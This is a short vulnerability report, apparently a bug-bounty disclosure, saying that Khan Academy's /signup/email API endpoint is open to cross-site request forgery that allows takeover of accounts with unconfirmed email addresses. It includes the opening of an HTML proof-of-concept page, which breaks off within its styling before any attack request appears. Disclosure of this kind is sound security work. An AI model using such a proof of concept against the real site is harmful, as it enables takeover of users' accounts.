Cross-Site Request Forgery (CSRF) vulnerability on API endpoint allows account takeovers

The `/signup/email` API endpoint at [khanacademy.org](https://khanacademy.org) is vulnerable to Cross-Site Request Forgery (CSRF) attacks, allowing takeovers of accounts associated with unconfirmed email addresses.

<!DOCTYPE html>
<html>
    <head>
        <meta charset="utf-8" />
        <title>Khan Academy Signup Email CSRF PoC</title>
        <style type="text/css">
        body {
            display:flex;
            flex-direction:column;
            justify-content:center;
            min-height:100vh; …